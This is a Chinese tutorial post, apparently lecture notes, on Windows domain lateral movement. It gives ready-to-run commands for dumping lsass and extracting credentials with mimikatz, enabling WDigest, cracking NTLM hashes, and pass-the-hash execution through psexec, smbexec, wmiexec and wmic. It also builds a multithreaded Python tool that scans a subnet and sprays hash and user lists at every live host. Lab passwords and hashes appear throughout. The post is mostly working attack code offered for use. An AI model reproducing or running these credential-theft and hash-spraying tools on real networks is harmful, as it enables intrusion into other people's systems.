p67 内网安全-域横向 smbwmi 明文或 hash 传递

news2024/12/24 2:54:03

数据来源

知识点1:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题

  1. 利用哈希hash传递(path,ptk等)进行移动
  2. 利用其他服务协议(SMB,WMI等)进行哈希移动
  3. 利用注册表操作开启Wdigest Auth值进行获取
  4. 利用工具或第三方平台(Hachcat)进行破解获取

知识点2 

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,
服务器系统在Windows 2003以后,认证方法均为NTLM Hash

SMB基础知识:

SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求-回复协议。
客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。

利用思路:

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

 

注册表修改,开启wdigest 

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f 

演示案例:

  • Procdump+Mimikatz 配合获取
  • Hashcat 破解获取 Windows NTML Hash
  • 域横向移动 SMB 服务利用-psexec,smbexec
  • 域横向移动 WMI 服务利用-cscript,wmiexec,wmic
  • 域横向移动以上服务 hash 批量利用-python 编译 exe

案例 1-Procdump+Mimikatz 配合获取

当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz 因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截

Procdump是微软官方的程序,Mimikatz是第三方工具都是要自己下载。

Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具

Procdump下载:ProcDump - Sysinternals | Microsoft Learn 

 

 

使用演示:

1)目标机器上执行:

# 在procdump工具的根目标运行生成一个名为lsass.dmp的文件
procdump -accepteula -ma lsass.exe lsass.dmp

2)本机 mimikatz 上执行:(mimikatz 是第三方的工具会被杀毒软件干掉,建议关闭杀毒软件在自己电脑上运行)

privilege::debug         # 调试mimikatz工具,出现ok之类的字符就是成功了
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

我这里mimikatz工具就放在自己的真实机上,虚拟机运行太卡

首先要将刚才生成的lsass.dmp文件复制到mimikatz工具的根目录,然后用cmd运行mimikatz.exe文件,不然你的命令无法直接复制粘贴进来,之后逐步运行上面的3条命令就能成功提取密码了

其他工具:

Pwdump7

QuarksPwdump

HASH破解:(kail - 扫描与爆破_正经人_____的博客-CSDN博客)

hashcat -a0  -m 1000 hash file --force

案例 2-域横向移动 SMB 服务利用-psexec,smbexec(官方自带)

PsExec - Sysinternals | Microsoft Learn 

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 端口开放。

环境说明:win2007-域子机 , win2008域主机

我现在演示在域子机攻击域主机

1)psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

# 与域主机建立ipc连接:ip       密码              用户名
net use \\192.168.1.60\ipc$ "207080sA" /user:administrator

# 需要先有 ipc 链接 -s 以 System 权限运行
psexec \\192.168.1.60 -s cmd

 

 

2)psexec 第二种:不用建立 IPC 直接提供明文账户密码

#        目标ip              账号            端口
psexec \\192.168.1.60 -u administrator -p 207080sA -s cmd   # 获取目标的cmd执行权限

先断开ipc连接,然后获取目标cmd执行权限

net use * /del    # 断开所有连接

 

成功获取目标cmd执行权限 

官方 Pstools 无法 采用 hash 连接 

3)非官方自带-参考 impacket 工具包使用,操作简单,容易被杀

用户/账户密码存储位置: C:\Windows\System32\config\SAM(不过这个文件是打不开的,要借助工具)

工具下载:(我这里只是下载单个工具,下载整个工具包太慢了)

impacket工具包: RichChigga/impacket-examples-windows (gitee.com)

psexec: 登录 - Gitee.com

这里先用mimikatz先获取登录的密码与其hash值(这个工具就是上面那个)

privilege::debug     # 调试

sekurlsa::logonpasswords   # 获取计算机的账号信息

# psexec -hashes :$HASH$ ./administrator@10.1.2.3         # 连接到本地 
# psexec -hashes :$HASH$ domain/administrator@10.1.2.3    # 连接到域
psexec -hashes :442285a710fe49913e8b9a2861781eec ./administrator@192.168.1.60 

smbexec无需先 ipc 链接 明文或 hash 传递(第三方库,不过这个工具最近的更新时间是2019年作者应该是放弃了,这个作者都不更新很快就会更上时代,我这里就不演示 了,功能上面的工具能代替他)

impacket-examples-windows/smbexec.exe at master · maaaaz/impacket-examples-windows · GitHub

smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

1)自带 WMIC 明文传递 无回显

#            目标ip              账号                   密码                        ipconfig (要执行的命令)  C:\1.txt(命令执行结果存放的文件 )                                  
wmic /node:192.168.1.60 /user:administrator /password:207080sA process call create "cmd.exe /c ipconfig >C:\1.txt"                 

2)自带 cscript 明文传递 有回显

下载地址:wmiexec.vbs 下(下载的文件名带有版本号可以改一下名)

cscript //nologo wmiexec.vbs /shell 192.168.1.60 administrator 207080sA

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

impacket工具包: RichChigga/impacket-examples-windows (gitee.com)

wmiexec: 登录 - Gitee.com

wmiexec ./administrator:207080sA@192.168.1.60 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"

使用哈希值连接

wmiexec -hashes :442285a710fe49913e8b9a2861781eec ./administrator@192.168.1.60 "whoami"
wmiexec -hashes :442285a710fe49913e8b9a2861781eec god/administrator@192.168.1.60 "whoami"

 

案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe

pyinstaller.exe -F fuck_neiwang_002.py     # 将脚本打包成exe可执行程序

这下面的脚本是视频老师提供的,可以自己完善一下

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.60',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'webadmin'
}
hashs={
    '442285a710fe49913e8b9a2861781eec ',
    '518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
    for user in users:
        for mimahash in hashs:
            #wmiexec -hashes :hashgod/user@ipwhoami
            exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
            print('--->' + exec + '<---')
            os.system(exec)
            time.sleep(0.5) 
            exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
            print('--->' + exec1 + '<---')
            os.system(exec1)
            time.sleep(0.5)

先演示一下这个脚本的使用,然后我再完善一下脚本 

这个exe文件就可以复制到有wmiexec.exe的目录下双击运行(我这里发现个很奇怪的问题,我在python的编译器中运行脚本报错,但是打包之后运行就没问题,这个我暂时找不到原因,我猜测是python编译器的运行环境和windows系统自带的cmd运行环境可能有点差异导致的)

完善代码

发现的问题:1、脚本运行速度太慢,解决:开启多线程   2、ip、用户名、hash都是写死的,解决:看能不能让程序从外部引入数据

1)创建两个.txt文件,如:hash.txt、users.txt

内容格式示例

代码也需要改一下

# coding=gbk
import os,time
ips={
    '192.168.1.60',
}

def Domain_Horizontal():
    for ip in ips:
        for user in open('users.txt'):
            user = user.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
            for mimahash in open('hash.txt'):
                mimahash = mimahash.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
                # wmiexec -hashes :hashgod/user@ipwhoami
                exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"   #  god/  连接域用户
                print('--->' + exec + '<---')
                result = os.system(exec)
                exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip + " whoami"  # 连接本地用户
                print('--->' + exec1 + '<---')
                result1 = os.system(exec1)
                if result == 0 or result1 == 0:
                    with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                        if result == 0:
                            f.write(exec + '\n')  # write() 方法写入数据
                        else:
                            f.write(exec1 + '\n')  # write() 方法写入数据


if __name__ == '__main__':
    Domain_Horizontal()

使用方式(后面就不写这一步了,会一句话带过)

1、先将主程序打包

pyinstaller.exe -F fuck_neiwang_002.py


  

2、然后要修改  fuck_neiwang_002.spec 文件 (参考)

修改第9行,写入我们刚才生成的txt文件名,让他们也一起打包

'hash.txt','users.txt'

3、将打包后的fuck_neiwang_002.exe文件复制到wmiexec.exe程序的根目录,他们要配合使用

运行测试一下

2)将目标ip改成动态获取,现在是写死的,并给整个程序加上多线程

这个是单线程的不过运行速度太慢,我搞了多线程在编译器中运行没毛病,打包后运行老是报错

# coding=gbk
import os,time,queue,threading

ip_data = []      # 存放存活的ip
def ips(ip):
    """
    循环ping获取指定网段存活的主机ip
    :param ip: 接收一个ip网段
    :param x: ip最后一位数字
    :return: Nune
    """
    for i in range(1,255):
        ip_i = f"{ip}.{i}"
        cmd = f'ping {ip_i}'
        result = os.system(cmd)  # 执行失败返回1,成功0
        if result == 0:
           ip_data.append(ip_i)
           if i >= 254:            # 判断ping成功且x>=254
               Domain_Horizontal()

        elif i >= 254:           # 判断ping失败且x>=254也要去建立ipc连接
            Domain_Horizontal()

def Domain_Horizontal():
    for i in range(len(ip_data)):
        for user in open('users.txt'):
            user = user.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
            for mimahash in open('hash.txt'):
                mimahash = mimahash.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
                # wmiexec -hashes :hashgod/user@ipwhoami
                exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip_data[i]+" whoami"   #  god/  连接域用户
                print('--->' + exec + '<---')
                result = os.system(exec)
                exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip_data[i] + " whoami"  # 连接本地用户
                print('--->' + exec1 + '<---')
                result1 = os.system(exec1)
                if result == 0 or result1 == 0:
                    with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                        if result == 0:
                            f.write(exec + '\n')  # write() 方法写入数据
                        else:
                            f.write(exec1 + '\n')  # write() 方法写入数据


if __name__ == '__main__':                                                       # 创建队列
    ip = input("输入你要扫描的网段,如:192.168.1:")
    ips(ip)

放弃在程序中执行ping命令,我们可以在cmd中手动执行循环ping收集网段存活ip

#                                         目标网段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

我改成多线程的脚本,不过打包后运行报错

# coding=gbk
import os,time
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步

ip_data = []      # 存放存活的ip
def ips(ip,x):
    """
    循环ping获取指定网段存活的主机ip
    :param ip: 接收一个ip网段
    :param x: ip最后一位数字
    :return: Nune
    """
    ip_i = f"{ip}.{x}"
    cmd = f'ping {ip_i}'
    result = os.system(cmd)  # 执行失败返回1,成功0
    if result == 0:
       ip_data.append(ip_i)
       if x >= 254:            # 判断ping成功且End>=254
           time.sleep(2.5)     # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
           Thread_s()          # 开启多线程,尝试建立ipc连接
    elif x >= 254:           # 判断ping失败且End>=254也要去建立ipc连接
        time.sleep(2.5)      # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
        Thread_s()           # 开启多线程,尝试建立ipc连接

def Thread_s():
    """
       给Domain_Horizontal函数搞个多线程
    """
    length =  len(ip_data)    # 存活的ip个数
    # 1、先搞定参数问题(ip、用户名、密码)让参数可以同步
    for i in range(length):        # len函数统计元组元素数量, ip_data就是刚才我们通过ping提取出来的目标主机ip
        for user in open('users.txt'):
            user = user.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
            for mimahash in open('hash.txt'):
                mimahash = mimahash.replace('\n', '')  # replace() 方法替换字符串,将换行替换为空
                exec = "wmiexec -hashes :" + mimahash + " god/" + user + "@" + ip_data[i] + " whoami"  # god/  连接域用户
                print('--->' + exec + '<---')
                q.put(exec)  # 向队列中插入元素(exec命令,执行远程命令)
                exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip_data[i] + " whoami"  # 连接本地用户
                q1.put(exec1)  # 向队列中插入元素(exec1命令,执行远程命令)
                print('--->' + exec1 + '<---')
                # print(q.get())

    # 2、创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(50):  # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
        t = threading.Thread(target=Domain_Horizontal)  # 创建线程对象,target=执行目标任务名
        t.start()

def Domain_Horizontal():
    """
    尝试执行远程命令     wmiexec -hashes :hashgod/user@ipwhoami
    :return:   None
    """
    # 执行域的
    while not q.empty():                        # while 循环 not(非,反转) 真为假,假为真
        exec = q.get()                         # 获取队列中的数据(尝试执行远程命令)
        result = os.system(exec)
        if result == 0 :
            with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                if result == 0:
                    f.write(exec + '\n')  # write() 方法写入数据

    #  本地的
    while not q1.empty():            # while 循环 not(非,反转) 真为假,假为真
        exec1 = q1.get()             # 获取队列中的数据(建立ipc连接的命令)
        result1 = os.system(exec1)   # 向队列中插入元素(尝试执行远程命令)
        if result1 == 0:
            with open(r'result.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                f.write(exec1 + '\n')             # write() 方法写入数据

if __name__ == '__main__':
    q = queue.Queue()   # 创建域账号队列
    q1 = queue.Queue()  # 创建本地账号队列
    ip = input("输入你要扫描的网段,如:192.168.1:")
    # 创建多线程
    thread = 255
    for x in range(1, thread):
        t = threading.Thread(target=ips,kwargs={"ip": ip, "x":x})  # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
        t.start()  # 启动线程,让他开始工作

涉及资源:

  • https://github.com/hashcat/hashcat
  • https://www.freebuf.com/sectool/164507.html
  • Releases · gentilkiwi/mimikatz (github.com)
  • https://github.com/SecureAuthCorp/impacket
  • https://gitee.com/RichChigga/impacket-examples-windows
  • https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
  • ProcDump - Sysinternals | Microsoft Learn
  • https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码:xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/454486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Security详细使用

认证流程 1.集中式认证流程 &#xff08;1&#xff09;用户认证 使用UsernamePasswordAuthenticationFilter过滤器中attemptAuthentication方法实现认证功能&#xff0c;该过滤器父类中successfulAuthentication方法实现认证成功后的操作 &#xff08;2&#xff09;身份校验…

基于opencv-python的二值图像处理

目录 阈值 腐蚀与膨胀 开运算与闭运算 连通区域分析 轮廓 一、阈值 按照颜色对图像进行分类&#xff0c;可以分为彩色图像、灰度图像和二值图像。灰度图像是只含亮度信息&#xff0c;不含色彩信息的图像。灰度化处理是把彩色图像转换为灰度图像的过程&#xff0c;是图像处…

【Linux】popen pclose接口介绍

本篇文章简单讲述了c语言接口popen/pclose的用法 1.函数作用 函数定义如下 #include <stdio.h>FILE *popen(const char *command, const char *type); int pclose(FILE *stream);1.1 popen popen函数会创建一个管道&#xff0c;fork后调用shell来打开进程。由于管道的…

Junit 5 如何使用 Guice DI

Guice 是一个依赖注入的小清新工具。 相比 Spring 的依赖管理来说&#xff0c;这个工具更加小巧&#xff0c;我们可以在测试中直接使用。 Junit 5 在 Junit 中使用就没有那么方便了&#xff0c;因为 Junit 没有 Guice 的注解。 你需要手动写一个类&#xff0c;在这个类中&a…

SpringCloud入门实战(七)-Hystrix服务熔断

&#x1f4dd; 学技术、更要掌握学习的方法&#xff0c;一起学习&#xff0c;让进步发生 &#x1f469;&#x1f3fb; 作者&#xff1a;一只IT攻城狮 。 &#x1f490;学习建议&#xff1a;1、养成习惯&#xff0c;学习java的任何一个技术&#xff0c;都可以先去官网先看看&…

Spring的作用域与生命周期

文章目录 一、lombok的安装与使用二、Spring作用域二、Bean原理分析执行流程Bean的生命周期 一、lombok的安装与使用 lombok插件可以提供给我们一些注释&#xff0c;这些注释可以很好的帮助我们消除Java代码中大量冗余的代码&#xff0c;可以使得我们的Java类可以看起来非常的…

OpenCV实战——二值特征描述符

OpenCV实战——二值特征描述符 0. 前言1. ORB 和 BRISK 二值描述符1. ORB 特征描述符1.2 ORB 与 BRISK 算法 2. FREAK 二值描述符3. 二值描述符采样模式4. 完整代码相关链接 0. 前言 在《特征描述符》一节中&#xff0c;我们学习了如何使用从图像强度梯度中提取的描述符来描述…

ChatGPT使用学习(一):chatgpt_academic安装到测试详细教程(一文包会)

ChatGPT 1.简介及功能2.前置准备3.开始使用 1.简介及功能 Chargpt academic是一种基于OpenAI GPT模型的语言生成模型&#xff0c;它是专门为学术研究者和学生设计的。它使用预训练模型来生成与学术论文、文章和文献相关的文本&#xff0c;可以用于自然语言处理、机器翻译、文本…

SpringBoot整合Redis,一篇带你入门使用Redis

本文介绍如何将Redis整合到SpringBoot项目中&#xff0c;以及如何配置、封装和使用 文章目录 前言环境搭建项目结构添加依赖 Module封装RedisConfig配置封装常见操作为ServiceRedisServiceRedisLockUtil 测试 前言 参考链接&#xff1a; 英文官网链接中文官网链接Redis githu…

vue项目使用RSA加解密

vue项目使用RSA加解密 1.安装2.在utils下创建rsa.js3.在main.js中引入4.页面调用5.遇到的问题 1.安装 使用一下命令安装jsencrypt插件 npm install jsencrypt --save-dev npm i encryptlong -S注意&#xff1a; &#xff08;1&#xff09;上述插件不支持在小程序中使用&#…

python大数据作业-客户价值分析-实训头歌

一、实验目的与要求 1、掌握使用numpy和pandas库处理数据的基本方法。 2、掌握使用RFM分析模型对客户信息进行特征提取的基本方法。 3、掌握对特征数据进行标准化处理的基本方法。 4、掌握使用Sklearn库对K-Means聚类算法的实现及其评价方法。 5、掌握使用matplotlib结合panda…

【2】YOLOv8原理解析:重新定义实时目标检测的速度和精度

文章目录 0.前言1.YOLOv51.1 YOLOv5网络回顾1.2 YOLOv5网络结构图 2.YOLOv82.1 YOLOv8概述2.2 YOLOv8整体结构图2.3 YOLOv8yaml 文件与 YOLOv5yaml 文件对比2.3.1 参数部分2.3.2 主干部分2.3.3 Neck部分2.3.4 Head部分 2.4 正负样本分配策略2.4.1 静态分配策略和动态分配策略有…

机器学习实战:Python基于SVD奇异值分解进行矩阵分解(八)

文章目录 1 前言1.1 奇异值分解1.2 奇异值分解的应用 2 简单计算SVD2.1 NumPy 计算 SVD2.2 scikit-learn 计算截断 SVD2.3 scikit-learn 计算随机 SVD 3 demo数据演示3.1 导入函数3.2 导入数据3.3 计算SVD 4 讨论 1 前言 1.1 奇异值分解 奇异值分解&#xff08;Singular Valu…

【李老师云计算】实验二:Spark集群的搭建与求解最大值

索引 前言1. Spark部署1.1 下载Spark1.2 解压Spark1.3 修改环境变量1.4 修改主机Spark配置文件1.4.1 slaves.template文件配置1.4.2 spark-env.sh.template文件配置 1.5 分享主机Spark到从机1.6 启动Spark集群(★重启后的操作)1.7 通过jps查看是否启动成功1.8 通过网页查看是否…

Vue+Echarts 项目演练(上)整体页面结构的构建

项目分辨率响应式创建 项目顶部信息条创建 页面主体创建 接项目搭建与初始化之后继续对项目进行部署工作 项目展示&#xff1a; 技术栈&#xff1a; 1. vue3.0vue-router4.0axios 2. flex 布局 3. LESS 4. rem 屏幕适配 5. echarts5.0 项目分辨率响应式创建 对插件…

centos 8 配置LVS+ keepalived 高可用

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a;小刘主页 ♥️每天分享云计算网络运维课堂笔记&#xff0c;努力不一定有收获&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️夕阳下&#xff0c;是最美的绽放&#xff0…

3105—IIS部署

一、部署子站点 1—父站点web.config配置 新增并设定location段落 <configuration><location path"." allowOverride"false" inheritInChildApplications"false"><system.webServer><handlers><add name"aspNe…

【Matlab】基于紧格式动态线性化的无模型自适应控制

例题来源&#xff1a;侯忠生教授的《无模型自适应控制&#xff1a;理论与应用》&#xff08;2013年科学出版社&#xff09;。 对应书本 4.2 单输入单输出系统(SISO)紧格式动态线性化(CFDL)的无模型自适应控制(MFAC) 例题4.1 题目要求 matlab代码 clc; clear all;%% 期望轨迹…

neo4j jdk安装版本搭配

jdk下载版本为jdk11 neo4j 为neo4j-community-4.3.15 可使用 非常流畅 没有毛病&#xff01;&#xff01;&#xff01; 这里直接给出结论&#xff0c;对于想知道这两个版本为什么适配的小伙伴可以继续往下看 出现这个界面后在网页打开browser 输入账号和密码后就可以登录了&…

【架构设计】什么是CAP理论?

1、理论 CAP理论是指计算机分布式系统的三个核心特性&#xff1a;一致性&#xff08;Consistency&#xff09;、可用性&#xff08;Availability&#xff09;和分区容错性&#xff08;Partition Tolerance&#xff09;。 在CAP理论中&#xff0c;一致性指的是多个节点上的数据…